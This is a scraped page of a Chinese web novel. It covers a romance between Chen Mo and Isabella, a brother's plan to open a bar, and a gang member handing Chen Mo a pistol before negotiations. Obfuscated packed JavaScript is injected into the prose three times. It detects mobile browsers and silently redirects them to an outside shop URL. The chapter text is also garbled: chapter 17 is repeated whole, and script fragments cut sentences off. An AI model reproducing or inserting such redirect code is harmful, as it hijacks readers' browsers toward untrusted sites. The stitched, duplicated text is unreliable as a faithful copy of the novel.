;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533125|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你怎么这么可爱,”她的声音里还带着笑,笑得尾音都在发颤,“你觉得这个屋子里还有别人吗?跟Biscuit试?她今天早上倒是舔过我的脸,不过我不建议你尝试。” 陈漠的耳朵红得几乎要滴血,“我不太会。” “没人第一次就会,”伊莎贝拉贴着陈漠的额头说,“而且你不会的东西学起来都很快,颂蓬不是说你学扫踢只用了两节课吗。” “这是两回事。” “是一回事,”伊莎贝拉往后撤了一点,“闭上眼睛。” 陈漠闭眼了,闭上了又睁开,睁开又半闭上,睫毛在伊莎贝拉的注视下乱七八糟地扇了好几下,最终才闭紧。眼皮闭得有点用力,眉头微微皱着。 伊莎贝拉贴过去。 她的嘴唇碰上了陈漠的嘴唇。 很轻,很慢,只是嘴唇和嘴唇之间的接触,干爽的,温热的,带着一点点巧克力派残留在陈漠嘴角的甜味。伊莎贝拉的嘴唇比陈漠的软很多,下唇饱满,在碰到陈漠的上唇时微微陷进去了一点。陈漠的嘴唇还是绷着的,全身上下每一块肌肉在这一刻都在防御模式里,连嘴唇都不例外。 伊莎贝拉又往后撤了大概两厘米,“你太紧张了,放松点,不是打架。” “我没紧张。” “那你手为什么在抖。” 陈漠低头看了一眼自己搁在膝盖上的手。确实在抖,手指尖在发颤,从脊柱底部往上窜的某种不受控制的生理反应。 “我控制不住。”她说。 伊莎贝拉拿起陈漠的手,两只手握着她的两只手,十指扣进去,搁在自己膝盖上。 “控制不住就不控制,你又不欠谁一个完美的接吻。没人会给你打分,除了我,不过我是自己人,给分肯定有水分。” 陈漠不知道该怎么回这句话,最后选了最省事的做法,沉默。 “再来一次,闭上眼睛。” 陈漠闭了眼睛,闭眼的速度慢了一点,表情也放松了两分。 伊莎贝拉重新凑过去。这一次比刚才久了一些。她的上唇贴上陈漠的上唇,下唇含住陈漠的下唇,轻轻地抿了一下。陈漠的嘴唇比刚才软了很多,防御性的绷紧已经消了大半。 伊莎贝拉后撤了几厘米,睁开眼睛看着陈漠,评价道:“干干的,像两片苏打饼干。” 陈漠睁开眼:“……苏打饼干。” “对,苏打饼干,不过是那种好吃可以再吃一口的苏打饼干。”伊莎贝拉笑了起来。 “你嘴里有巧克力派的味。便利店那个牌子,太甜了。”她舔了一下自己的下唇,做了个回味的表情,“下次换一个口味。” “我没有买别的。”陈漠说。 “那下次我买。” 伊莎贝拉侧过身,脑袋靠在陈漠的肩膀上,抬起空闲的左手,用食指指尖戳了戳那个牙印。 “还疼不疼。” “不疼。” “你之前说会青的。” “你自己咬的力道你自己没数?”陈漠抬手摸了摸牙印的位置,印子现在不仔细看已经看不太出来了,她懒得管,目光落回伊莎贝拉靠在她肩膀上的侧脸上。 伊莎贝拉仰着脸,深棕色的眼仁里有一点刚才接吻时没褪干净的水光,亮得像两颗刚从水里捞出来的玻璃珠。她的五官在陈漠的近距离注视下更清楚了。说话时眉眼会跟着语气在动,饱满的嘴唇被舔过的下唇比上唇厚一点,太阳穴到下颌角的线条被午后的暖光勾了一道柔和的边。 她就那么看着伊莎贝拉,看着她靠在自己肩膀上。 这个距离不再是需要防御的东西,她允许这个人靠在自己身上,允许自己的手被她扣着,允许自己的耳朵因为她的一句话而发红。 伊莎贝拉从她的眼睛里看懂了这些,又往陈漠身上蹭了蹭,抱着她的手臂往自己怀里拽了半寸,贴得更紧了一些。 窗外的太阳正往西边沉,光线从金色变成了橘色。 Biscuit从厨房叼着一只橡皮球跑出来,在沙发面前停下,摇了摇尾巴,球放在陈漠脚边,用鼻子往前拱了拱。陈漠用脚尖把球往地毯另一头拨了拨,等Biscuit跑过去扑球的时候,伊莎贝拉把脸埋进陈漠的颈窝里。 “等我毕业以后,我要天天这样靠在宿舍的沙发上看你。” “好。” 16.第 17 章 手悬在半空,马特奥被自己妹妹这一连串连珠炮轰得愣了一瞬。他看看伊莎贝拉,又越过她肩膀看了一眼被她挡在身后的陈漠,嘴角慢慢浮起一个意味深长的弧度。 “我就是打个招呼。”他说,收回手,在裤子上蹭了蹭。 “打完了,”伊莎贝拉说,“你行李还没搬完,货厢里还有两个纸箱子,有一个破了,你那些破调料罐子掉了一地。” “那不是我……” “哥。” 马特奥举起双手做了个投降的姿势,弯腰拎起地上的两个帆布行李袋,往楼梯口走。经过伊莎贝拉身边的时候,他低头看了她一眼,用只有两个人能听到的音量说了句西语,语气里带着笑。 伊莎贝拉抬手在他胳膊上拍了一巴掌,啪的一声脆响,“?Cállate!” 马特奥大笑着上了楼,脚步声在木质楼梯上一级一级地远去,消失在二楼走廊。紧接着是一声门被推开的闷响,行李袋落地的重响,以及马特奥吹着口哨翻找东西的动静。 客厅安静下来。 伊莎贝拉转过身,陈漠站在窗户旁边,手机已经握在手里,屏幕亮着,锁屏界面上显示着时间。 15:11。 “你四点要去训练场。”伊莎贝拉说。 “嗯。” “那走吧,我送你到门口。” 陈漠看了她一眼,没说什么,手机揣进口袋,弯腰拿起沙发扶手上搭着的外套。经过茶几的时候Biscuit睁开一只眼睛看了看她,尾巴在地板上扫了两下,又闭眼睡过去了。陈漠弯腰挠了挠它耳后,然后直起身,往门口走。 伊莎贝拉跟在她身后。 陈漠下了两级台阶,听到身后伊莎贝拉的脚步声停了。她回过头。 伊莎贝拉站在门廊台阶最上面一级,两只手交叠在身前,卷发被风吹得在肩头轻轻晃动。她先是往左右看了看,丹妮丝家门廊上没人,篮球场空的,整条街在这个时间点安静得像是在替她清场。 她往前走了一步,站在台阶边缘。 “你过来一下。” 陈漠站在台阶下面,笔挺地站着,影子落在地上拖得老长,微仰着头看着伊莎贝拉。她从这个角度看伊莎贝拉,蜜棕色的皮肤被门廊屋檐投下的阴影遮了一半,另一边脸上画了一道亮边,深棕色的眼仁在这道亮光里显得格外清澈。 她走上台阶。两级一步。 刚站稳,伊莎贝拉的手就抓住了她的外套领口,五根手指绞住灰色立领的边缘。陈漠还没开口问怎么了,伊莎贝拉就往后退了半步,手上用力一拽。 陈漠被拽得往前踉跄了半脚。她本能地想问干什么,嘴唇刚张开,伊莎贝拉就压了上来,含住陈漠的下唇,吸吮了一下,又牙齿轻轻咬了一下她的上唇。 动作说不上熟练,说不上从容,像是她已经忍了很久,忍过了客厅,忍过了马特奥,忍过了陈漠站在门口回头看她那一瞬间的毫无防备,现在终于不用忍了。 陈漠的大脑在这零点几秒里是空白的。嘴唇上传来湿润的触感和轻微的齿压让她浑身一震,脑子里闪过几个支离破碎的念头,这是在大门口,马特奥还在楼上,可是这些念头全部被伊莎贝拉的一个动作碾碎了。 伊莎贝拉的手搂上了她的腰。 实打实地搂,手指扣进她外套和T恤之间的缝隙,隔着薄薄的棉布贴上她的后腰,掌心很热。伊莎贝拉的身体贴了上来,胸口贴上陈漠的胸口,腹贴上陈漠的腹,胯贴上陈漠的胯,整个人像藤蔓一样缠上来,把自己嵌进陈漠身前的每一寸空隙里。 温热柔软,真实的,属于另一个人的身体,隔着几层薄棉布,毫无保留地贴在她身上。 她伸出手,一只手按在伊莎贝拉的后脑勺上,手指插进那头深棕色的卷发里,发丝从指缝间滑过,触感又滑又凉。另一只手捧住伊莎贝拉的脸,拇指抵在她的颧骨上,掌心贴着她发烫的脸颊。 她往前逼了几步。 伊莎贝拉的脚后跟碰到了门廊的墙板,身体被夹在木墙和陈漠之间,后脑勺被陈漠的手掌护着,没有撞到墙。 陈漠吻了回去,没有任何章法,没有任何技巧,颂蓬教她的所有关于精准和效率的东西在这一刻全部作废。她的嘴唇碾过伊莎贝拉的嘴角,落在下唇上,然后是上唇,然后是唇缝。她不知道该怎么换气,不知道该怎么控制角度,不知道力道重了还是轻了。她在混沌中碰到了伊莎贝拉的舌尖,触电般的触感窜过脊柱,她整个人抖了一下,眼底被活生生逼出些微水光。 伊莎贝拉被压在墙板上,后背抵着冰凉的木墙,胸前贴着陈漠滚烫的身体。她仰着头承受陈漠毫无章法的吻,嘴唇被碾得发麻,鼻腔里全是陈漠身上的味道。两人齿关轻碰在一起时,陈漠整个压上来,将她严丝合缝地钉在墙上。 她的手从陈漠腰侧滑到后背,搂紧了她的肩胛骨,指尖隔着T恤触到那一层薄而结实肌肉下的骨骼脊缝,指腹抵着沟壑用力往上推。 陈漠停了一瞬,额头抵着伊莎贝拉的额头,鼻尖碰着鼻尖,气息乱成了碎片。 这就是全部答案。 根本不用开口。伊莎贝拉的眼里映着陈漠的脸,睫毛上沾着水光,梨涡在嘴角慢慢绽开。 “你大概都不知道松开。” 陈漠深吸了一口气,退开小半步,手从伊莎贝拉的后脑勺滑到肩头,扶着她的肩膀,目光扫过她被吻得泛红的下唇,和锁骨下方那根金色十字架项链被挤歪了半寸。 她伸手摆正项链。 “我走了。训练完回来给你发消息。” “早点回来。我爸今晚做烤肉,马特奥带回来的那种墨西哥腌料。你那份我给你留。” 陈漠站在台阶上看了伊莎贝拉最后一眼,嘴角露出了一点笑意,转身下了台阶。 伊莎贝拉在门廊上看着陈漠沿着人行道往修车厂的方向走去,灰衣灰裤的身影被西斜的太阳拉得很长。直到陈漠在街角拐弯处停了一下,回头看了一眼,冲她挥了一下手,然后消失在拐角后面。 她靠在门框上,抬起手摸了摸自己的嘴唇,指甲轻擦过唇角的时候带起一阵刺痛,不疼,痒丝丝的。舌尖也麻麻的,舌根处还残留陈漠的气息,舔一舔唇缝就能找回那一刻是怎么被毫无章法抵在墙上的感受。 她深吸了一口气,往后撩了撩眼前的卷发,嘟囔了句西班牙语,推门进了屋。 纱门刚关上。 马特奥就楼梯口拐出来,径直走到冰箱前,弯腰在里面翻了一阵,拽出两罐啤酒。冰镇的,罐身上凝了一层水珠,他用两根手指夹着罐口拎出来,顺手把冰箱门用膝盖顶上了。回头往客厅扫了一眼,看到伊莎贝拉还站在门边,他把其中一罐往茶几的方向举了举:“过来坐。” 伊莎贝拉应了一声,走到沙发边坐下,抱起一个靠垫搂在怀里。Biscuit从茶几底下探出脑袋,看了看她,又看了看厨房里的马特奥,尾巴在地板上敲了两下,判断暂时没有人要给它吃的,又把脑袋缩回去了。 马特奥把一罐啤酒搁在伊莎贝拉面前的茶几上,自己拉开另一罐的拉环,仰头灌了一口。他在沙发另一头坐下,裤兜里摸出一根烟,自己卷的那种,一头粗一头细,烟纸裹得不太规整,里面夹的烟草闻起来有股甜丝丝的呛味。 烟叼在嘴里,他又从另一个口袋摸出打火机,啪嗒啪嗒打了两下没着,第三下才窜出火苗。 “你在家里抽这个?”伊莎贝拉皱起眉,“妈回来闻到又该唠叨你一整个晚上。” “妈去哪儿了?”打火机扔在茶几上,马特奥歪着头看了她一眼。 “教堂,”伊莎贝拉说,“跟丹妮丝一起走的。说是今天下午有什么圣母慈悲还是玫瑰经的活动,我也没听清,她出门的时候我还在楼上。” “爸呢?” “五金店。厨房水槽下面那根管子又漏了,他回来发现没有合适的垫圈,又开车出去了。” “所以家里就你一个?” “还有Biscuit。”伊莎贝拉把靠垫往上抱了抱,下巴搁在靠垫边缘。 马特奥吸了口烟,烟灰弹进茶几上空易拉罐里,“我刚下来之前在楼上听见门廊有动静。” 伊莎贝拉:“……” 马特奥就当没看见,“后天十八了,想要什么礼物?” 伊莎贝拉盯着他,似乎在评估他是真的放她一马还是在攒着什么更损的话。盯了两三秒,判断是前者,她答非所问地说了句:“你给我画幅画。” “我给你画幅画。我从十五岁开始就不画画了,现在连铅笔怎么拿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535223|203371||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快忘了。” “你以前画得比我好。妈说你在老房子的门廊地板上用粉笔画了一匹那么大的马……”伊莎贝拉松开靠垫,手臂在空中画了个大圈,“爸下班回来差点以为是真的,绕开走的。” “那是小时候没事干,在工地搬钢筋的时候总不能也搬一半停下来画画,包工头会踢你屁股的。” “那你现在呢。”伊莎贝拉靠在沙发扶手上,侧着头看他,“你现在不用搬钢筋了。” 啤酒罐搁在茶几上,马特奥身体前倾,两只手撑在膝盖上。他盯着茶几上那罐还没开封的啤酒看了一会儿,开口的时候语气比刚才正经了不少。 “现在,我想回来做点自己的事。” “我跟爸商量过了,把隔壁街那家倒了半年多的酒吧盘下来。” “什么?” “第七街区和第八街区交界那家,就是以前叫Blue Moon还是什么的那家,招牌上画了个月亮,前年老板跑路了就一直空着。我刚才去看过了,地方不小,上下两层,楼上可以住人。厨房设备还能用,吧台得重新装,地板也得换,但骨架是好的。” “租金谈得差不多了,装修预算爸出一半,我出一半。执照走餐饮加酒水的,白天卖墨西哥菜,晚上变酒吧。东海岸这几年不是白干的,那边几个精酿啤酒厂的人我混熟了,拿货渠道都谈好了。” “你们这次回来就是为了这个?” “不然呢。你以为我连人带车塞满行李袋回来是度假?”马特奥往沙发靠背上一靠,翘起二郎腿,脚踝搁在膝盖上,“东海岸那边的活辞了,房子退了,东西全扔进皮卡货厢里,就是不留后路。” 他转头看着伊莎贝拉。 “你要上大学,妈一个人在家我不放心。爸过阵子还得回东海岸,那边工地上还有收尾的活在等他,少说还得再待大半年。我回来开店,离得近,家里有个什么事我十分钟就到。趁现在这一带还算太平。说是街区,占地跟规模其实不小,几条主街加上周边住的人加起来不比一个小镇少,人多就有生意,只要酒好气氛对,不怕没人来。” “你跟爸商量了多久?” “半年多。一开始他不同意,说开酒吧容易惹麻烦。我跟他说红蚁我退出这么多年了,麻烦还能比工地上被钢筋砸断腿麻烦?他想了几天,答应了。” “后天你生日,这酒吧的股份挂你名下百分之十五。算我和爸一起给你的成年礼物。” “我不要。” “先别急着不要。”马特奥端起啤酒又喝了一口,“我不是白送你。接下来四年,不管你是去念社区大学还是州立大学,只要好好读完按时毕业,这百分之十五就是你的。你要是不读,股份我收回。读了,将来申请贷款也好找工作也好,都有个东西在手里。” “你什么时候变得这么有心眼。” “一直都有,只是以前不跟你说。” “……”伊莎贝拉抬手,举着靠垫往他身上砸过去。 马特奥单手接住,塞到自己腰后当靠垫,换了个更舒服的姿势,翘着二郎腿的脚晃了晃。 “所以,后天你生日,让妈做一大桌子菜,我负责烤牛胸肉,爸负责在院子里摆桌椅。你负责邀请你的朋友。”他在“朋友”这个词上顿了顿,“叫陈漠过来,正式吃顿饭。” 伊莎贝拉抽出马特奥腰后的靠垫,重新抱在怀里,卷发垂下来挡住半边脸,“她跟妈语言不通,到时候……” “妈连丹妮丝那个满嘴跑火车的英语都听得懂,还差她一个?再说了,你坐她旁边给翻译不就行了。”马特奥站起来,拿着啤酒罐往厨房走,“邀请你朋友的事你自己搞定,我只管烤肉。” 伊莎贝拉盘腿坐在沙发上,抱着靠垫,在心里默默盘算着措辞。陈漠下午训练完回来肯定会饿,她妈做的炖牛肉还有剩的,等会儿用微波炉热一碗端过去。然后后天,她会跟陈漠说,不是命令不是安排,就是坐在她们家沙发上,用最平常的语气问一句,我哥烤牛胸肉的手艺还不错,你要不要来尝尝。或者如果把这件事包装成“我哥要开酒吧想听听红蚁的人的意见”这种略带正事色彩的由头,陈漠说不定就会点头。 “……” 她在沙发上换了个姿势,觉得自己为了把陈漠骗上餐桌简直操碎了心。 17.第 17 章 手悬在半空,马特奥被自己妹妹这一连串连珠炮轰得愣了一瞬。他看看伊莎贝拉,又越过她肩膀看了一眼被她挡在身后的陈漠,嘴角慢慢浮起一个意味深长的弧度。 “我就是打个招呼。”他说,收回手,在裤子上蹭了蹭。 “打完了,”伊莎贝拉说,“你行李还没搬完,货厢里还有两个纸箱子,有一个破了,你那些破调料罐子掉了一地。” “那不是我……” “哥。” 马特奥举起双手做了个投降的姿势,弯腰拎起地上的两个帆布行李袋,往楼梯口走。经过伊莎贝拉身边的时候,他低头看了她一眼,用只有两个人能听到的音量说了句西语,语气里带着笑。 伊莎贝拉抬手在他胳膊上拍了一巴掌,啪的一声脆响,“?Cállate!” 马特奥大笑着上了楼,脚步声在木质楼梯上一级一级地远去,消失在二楼走廊。紧接着是一声门被推开的闷响,行李袋落地的重响,以及马特奥吹着口哨翻找东西的动静。 客厅安静下来。 伊莎贝拉转过身,陈漠站在窗户旁边,手机已经握在手里,屏幕亮着,锁屏界面上显示着时间。 15:11。 “你四点要去训练场。”伊莎贝拉说。 “嗯。” “那走吧,我送你到门口。” 陈漠看了她一眼,没说什么,手机揣进口袋,弯腰拿起沙发扶手上搭着的外套。经过茶几的时候Biscuit睁开一只眼睛看了看她,尾巴在地板上扫了两下,又闭眼睡过去了。陈漠弯腰挠了挠它耳后,然后直起身,往门口走。 伊莎贝拉跟在她身后。 陈漠下了两级台阶,听到身后伊莎贝拉的脚步声停了。她回过头。 伊莎贝拉站在门廊台阶最上面一级,两只手交叠在身前,卷发被风吹得在肩头轻轻晃动。她先是往左右看了看,丹妮丝家门廊上没人,篮球场空的,整条街在这个时间点安静得像是在替她清场。 她往前走了一步,站在台阶边缘。 “你过来一下。” 陈漠站在台阶下面,笔挺地站着,影子落在地上拖得老长,微仰着头看着伊莎贝拉。她从这个角度看伊莎贝拉,蜜棕色的皮肤被门廊屋檐投下的阴影遮了一半,另一边脸上画了一道亮边,深棕色的眼仁在这道亮光里显得格外清澈。 她走上台阶。两级一步。 刚站稳,伊莎贝拉的手就抓住了她的外套领口,五根手指绞住灰色立领的边缘。陈漠还没开口问怎么了,伊莎贝拉就往后退了半步,手上用力一拽。 陈漠被拽得往前踉跄了半脚。她本能地想问干什么,嘴唇刚张开,伊莎贝拉就压了上来,含住陈漠的下唇,吸吮了一下,又牙齿轻轻咬了一下她的上唇。 动作说不上熟练,说不上从容,像是她已经忍了很久,忍过了客厅,忍过了马特奥,忍过了陈漠站在门口回头看她那一瞬间的毫无防备,现在终于不用忍了。 陈漠的大脑在这零点几秒里是空白的。嘴唇上传来湿润的触感和轻微的齿压让她浑身一震,脑子里闪过几个支离破碎的念头,这是在大门口,马特奥还在楼上,可是这些念头全部被伊莎贝拉的一个动作碾碎了。 伊莎贝拉的手搂上了她的腰。 实打实地搂,手指扣进她外套和T恤之间的缝隙,隔着薄薄的棉布贴上她的后腰,掌心很热。伊莎贝拉的身体贴了上来,胸口贴上陈漠的胸口,腹贴上陈漠的腹,胯贴上陈漠的胯,整个人像藤蔓一样缠上来,把自己嵌进陈漠身前的每一寸空隙里。 温热柔软,真实的,属于另一个人的身体,隔着几层薄棉布,毫无保留地贴在她身上。 她伸出手,一只手按在伊莎贝拉的后脑勺上,手指插进那头深棕色的卷发里,发丝从指缝间滑过,触感又滑又凉。另一只手捧住伊莎贝拉的脸,拇指抵在她的颧骨上,掌心贴着她发烫的脸颊。 她往前逼了几步。 伊莎贝拉的脚后跟碰到了门廊的墙板,身体被夹在木墙和陈漠之间,后脑勺被陈漠的手掌护着,没有撞到墙。 陈漠吻了回去,没有任何章法,没有任何技巧,颂蓬教她的所有关于精准和效率的东西在这一刻全部作废。她的嘴唇碾过伊莎贝拉的嘴角,落在下唇上,然后是上唇,然后是唇缝。她不知道该怎么换气,不知道该怎么控制角度,不知道力道重了还是轻了。她在混沌中碰到了伊莎贝拉的舌尖,触电般的触感窜过脊柱,她整个人抖了一下,眼底被活生生逼出些微水光。 伊莎贝拉被压在墙板上,后背抵着冰凉的木墙,胸前贴着陈漠滚烫的身体。她仰着头承受陈漠毫无章法的吻,嘴唇被碾得发麻,鼻腔里全是陈漠身上的味道。两人齿关轻碰在一起时,陈漠整个压上来,将她严丝合缝地钉在墙上。 她的手从陈漠腰侧滑到后背,搂紧了她的肩胛骨,指尖隔着T恤触到那一层薄而结实肌肉下的骨骼脊缝,指腹抵着沟壑用力往上推。 陈漠停了一瞬,额头抵着伊莎贝拉的额头,鼻尖碰着鼻尖,气息乱成了碎片。 这就是全部答案。 根本不用开口。伊莎贝拉的眼里映着陈漠的脸,睫毛上沾着水光,梨涡在嘴角慢慢绽开。 “你大概都不知道松开。” 陈漠深吸了一口气,退开小半步,手从伊莎贝拉的后脑勺滑到肩头,扶着她的肩膀,目光扫过她被吻得泛红的下唇,和锁骨下方那根金色十字架项链被挤歪了半寸。 她伸手摆正项链。 “我走了。训练完回来给你发消息。” “早点回来。我爸今晚做烤肉,马特奥带回来的那种墨西哥腌料。你那份我给你留。” 陈漠站在台阶上看了伊莎贝拉最后一眼,嘴角露出了一点笑意,转身下了台阶。 伊莎贝拉在门廊上看着陈漠沿着人行道往修车厂的方向走去,灰衣灰裤的身影被西斜的太阳拉得很长。直到陈漠在街角拐弯处停了一下,回头看了一眼,冲她挥了一下手,然后消失在拐角后面。 她靠在门框上,抬起手摸了摸自己的嘴唇,指甲轻擦过唇角的时候带起一阵刺痛,不疼,痒丝丝的。舌尖也麻麻的,舌根处还残留陈漠的气息,舔一舔唇缝就能找回那一刻是怎么被毫无章法抵在墙上的感受。 她深吸了一口气,往后撩了撩眼前的卷发,嘟囔了句西班牙语,推门进了屋。 纱门刚关上。 马特奥就楼梯口拐出来,径直走到冰箱前,弯腰在里面翻了一阵,拽出两罐啤酒。冰镇的,罐身上凝了一层水珠,他用两根手指夹着罐口拎出来,顺手把冰箱门用膝盖顶上了。回头往客厅扫了一眼,看到伊莎贝拉还站在门边,他把其中一罐往茶几的方向举了举:“过来坐。” 伊莎贝拉应了一声,走到沙发边坐下,抱起一个靠垫搂在怀里。Biscuit从茶几底下探出脑袋,看了看她,又看了看厨房里的马特奥,尾巴在地板上敲了两下,判断暂时没有人要给它吃的,又把脑袋缩回去了。 马特奥把一罐啤酒搁在伊莎贝拉面前的茶几上,自己拉开另一罐的拉环,仰头灌了一口。他在沙发另一头坐下,裤兜里摸出一根烟,自己卷的那种,一头粗一头细,烟纸裹得不太规整,里面夹的烟草闻起来有股甜丝丝的呛味。 烟叼在嘴里,他又从另一个口袋摸出打火机,啪嗒啪嗒打了两下没着,第三下才窜出火苗。 “你在家里抽这个?”伊莎贝拉皱起眉,“妈回来闻到又该唠叨你一整个晚上。” “妈去哪儿了?”打火机扔在茶几上,马特奥歪着头看了她一眼。 “教堂,”伊莎贝拉说,“跟丹妮丝一起走的。说是今天下午有什么圣母慈悲还是玫瑰经的活动,我也没听清,她出门的时候我还在楼上。” “爸呢?” “五金店。厨房水槽下面那根管子又漏了,他回来发现没有合适的垫圈,又开车出去了。” “所以家里就你一个?” “还有Biscuit。”伊莎贝拉把靠垫往上抱了抱,下巴搁在靠垫边缘。 马特奥吸了口烟,烟灰弹进茶几上空易拉罐里,“我刚下来之前在楼上听见门廊有动静。” 伊莎贝拉:“……” 马特奥就当没看见,“后天十八了,想要什么礼物?” 伊莎贝拉盯着他,似乎在评估他是真的放她一马还是在攒着什么更损的话。盯了两三秒,判断是前者,她答非所问地说了句:“你给我画幅画。” “我给你画幅画。我从十五岁开始就不画画了,现在连铅笔怎么拿都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你要上大学,妈一个人在家我不放心。爸过阵子还得回东海岸,那边工地上还有收尾的活在等他,少说还得再待大半年。我回来开店,离得近,家里有个什么事我十分钟就到。趁现在这一带还算太平。说是街区,占地跟规模其实不小,几条主街加上周边住的人加起来不比一个小镇少,人多就有生意,只要酒好气氛对,不怕没人来。” “你跟爸商量了多久?” “半年多。一开始他不同意,说开酒吧容易惹麻烦。我跟他说红蚁我退出这么多年了,麻烦还能比工地上被钢筋砸断腿麻烦?他想了几天,答应了。” “后天你生日,这酒吧的股份挂你名下百分之十五。算我和爸一起给你的成年礼物。” “我不要。” “先别急着不要。”马特奥端起啤酒又喝了一口,“我不是白送你。接下来四年,不管你是去念社区大学还是州立大学,只要好好读完按时毕业,这百分之十五就是你的。你要是不读,股份我收回。读了,将来申请贷款也好找工作也好,都有个东西在手里。” “你什么时候变得这么有心眼。” “一直都有,只是以前不跟你说。” “……”伊莎贝拉抬手,举着靠垫往他身上砸过去。 马特奥单手接住,塞到自己腰后当靠垫,换了个更舒服的姿势,翘着二郎腿的脚晃了晃。 “所以,后天你生日,让妈做一大桌子菜,我负责烤牛胸肉,爸负责在院子里摆桌椅。你负责邀请你的朋友。”他在“朋友”这个词上顿了顿,“叫陈漠过来,正式吃顿饭。” 伊莎贝拉抽出马特奥腰后的靠垫,重新抱在怀里,卷发垂下来挡住半边脸,“她跟妈语言不通,到时候……” “妈连丹妮丝那个满嘴跑火车的英语都听得懂,还差她一个?再说了,你坐她旁边给翻译不就行了。”马特奥站起来,拿着啤酒罐往厨房走,“邀请你朋友的事你自己搞定,我只管烤肉。” 伊莎贝拉盘腿坐在沙发上,抱着靠垫,在心里默默盘算着措辞。陈漠下午训练完回来肯定会饿,她妈做的炖牛肉还有剩的,等会儿用微波炉热一碗端过去。然后后天,她会跟陈漠说,不是命令不是安排,就是坐在她们家沙发上,用最平常的语气问一句,我哥烤牛胸肉的手艺还不错,你要不要来尝尝。或者如果把这件事包装成“我哥要开酒吧想听听红蚁的人的意见”这种略带正事色彩的由头,陈漠说不定就会点头。 “……” 她在沙发上换了个姿势,觉得自己为了把陈漠骗上餐桌简直操碎了心。 18.第 18 章 下午四点,陈漠准时推开了修车厂的铁皮卷帘门。 颂蓬正站在训练场边上,手里夹着一根没点的烟,看到她进来,烟往耳朵上一别,“绷带不用解了,今天不训练。” “换衣服?”陈漠问。颂蓬不是那种会临时取消训练的人,上一次他说“今天不训练”,还是带她去铜钉酒吧那天晚上。 “不用换,”颂蓬趿拉着人字拖往修车厂后门走,“上车。” 后门外停着颂蓬那辆老掉牙的本田思域,银色的车漆晒得发白,后视镜用胶带缠过一圈,副驾驶的车门上有一道从头拉到尾的划痕。 颂蓬拉开驾驶座的门,弯腰钻进去,发动了引擎。 陈漠拉开副驾驶的门坐进去,安全带还没系上,颂蓬就侧过身,座位底下摸出一个东西,递到她面前。 一把手枪。黑色套筒,金属表面在夕阳下泛着哑光,握柄的防滑纹路已经被磨得发亮。 陈漠盯着枪看了两秒。她在红蚁待了大半年,见过枪。丁哥腰间别过一把格/洛/克,阿光在后腰上插过一把左轮,修车厂工作台的抽屉里也锁着几把,但颂蓬从来没有让她碰过。她的训练内容一直是拳头、膝盖、肘和胫骨。 “拿着。”颂蓬说,手往前递了半寸。 陈漠伸出手,接过来。金属比想象中凉,也比想象中重。她单手握着枪柄,手指不太确定该放在哪里,食指本能地避开了扳机,搁在扳机护圈外面。 “这是什么意思。”她抬起头,看着颂蓬。 “今天不是去打架,约了卡车司机工会在铜钉酒吧谈事。安德烈斯那边的人也会去。安德烈斯那个汽修铺的老板,工会外围的一个小头目,叫埃尔南德斯,今天也会来。两边坐下来把账算清楚。” “那为什么要带枪。” 颂蓬伸手拉下来副驾驶的遮阳板,又推回去,动作不紧不慢,“铜钉酒吧是安德烈斯的地盘。上次他吃了亏,丢了脸,这次谈判是他提出的,但不是因为想和谈,是因为埃尔南德斯压着他来的。埃尔南德斯比你想象的精,卡车司机工会现在跟码头工会在争仓库区的运输合同,他不想节外生枝,所以才愿意坐下来谈。但如果谈判不顺利,或者安德烈斯那边有人不按规矩来,你手上什么都没有,就是给别人当靶子。” 他侧过头,看着陈漠,眼里没有任何开玩笑的成分。 “这把枪不是让你拿去威胁谁。我跟埃尔南德斯谈的时候,你坐旁边,枪藏在腰后面,不要拿出来,最好永远不要拿出来。但如果我让你动,你就动。如果我没开口,不管发生什么,你都别动。明白吗?” 陈漠看着手里的枪。枪柄上被磨得发亮的防滑纹路,大概被颂蓬的手心攥过无数次。他在曼谷地下拳场打了十五年黑拳,身上每一根骨头都断过又长好,他比任何人都知道拳头有时候是不够的。 “我以为你不喜欢枪。”陈漠说。 “我是不喜欢,”颂蓬放下去手刹,挂上挡,“但我更喜欢你能活着回来。” 陈漠嗯了一声,枪别进后腰,外套放下来遮住,手放在膝盖上,看着挡风玻璃外面的街景慢慢往后退。 颂蓬一只手握着方向盘,另一只手摸出打火机,点上那根叼了半天的烟。 车窗摇下来一条缝,烟雾顺着缝隙被吸出去。 “等会儿到了铜钉,”他吐了口烟,“你不要说话。不管安德烈斯说什么,不管他骂什么,都别接。你是当事人,你动过手,这事是你引起来的,所以你最没有资格开口,一开口就给人送把柄。让丁哥说,让我说,你就在旁边坐着。表情不要有,眼神不要飘。” “我知道。”陈漠说。 “还有,埃尔南德斯这个人,你第一次见。他脸上永远在笑,说话比谁都客气,但你不要被他的笑骗了。卡车司机工会外围这些人里面,他是最难对付的一个。他今天愿意来谈,不是因为怕红蚁,是因为他算过账,觉得谈比打划算。如果哪天他觉得打比谈划算,他会第一个动手。” 